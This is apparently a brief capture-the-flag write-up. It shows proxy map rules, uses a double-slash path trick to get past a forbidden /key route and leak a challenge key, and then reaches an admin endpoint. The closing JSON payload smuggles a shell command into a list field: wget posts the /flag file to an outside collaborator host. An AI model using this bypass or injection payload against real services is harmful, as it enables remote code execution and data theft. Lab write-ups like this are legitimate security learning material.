map /hello-from-the-world/key http://127.0.0.1:80/forbidden
map /hello-from-the-world/ http://127.0.0.1:80
map /service-info/admin http://127.0.0.1:5000/forbidden
map /service-info/ http://127.0.0.1:5000/
Mapping /hello-from-the-world/
to http://127.0.0.1:80
(without the last slash) makes /hello-from-the-world//key
not to match the first rule but provides a valid path to the second rule. This let us get the key:
proc getkey(): string =
try:
let key = readFile("/keyfile")
return key
except IOError:
return "Cannot open keyfile!\n"
...
get "/key":
resp getkey()
keyfile: T$J_CTF_15_FUN_>_<_bY_Th3_wAy_IT_is_tHE_KEEEEEEEY_n0t_THE_flag
Using the same technique, we can arrive to service-info
's /admin
(/service-info//admin
seen as /admin
as per request.url
) and use systeminformation.services(service)
to achieve RCE (since the sanitize function does not handle lists properly).
{
"service":["$(wget x.burpcollaborator.net --post-file /flag)"], "key":"T$J_CTF_15_FUN_>_<_bY_Th3_wAy_IT_is_tHE_KEEEEEEEY_n0t_THE_flag"
}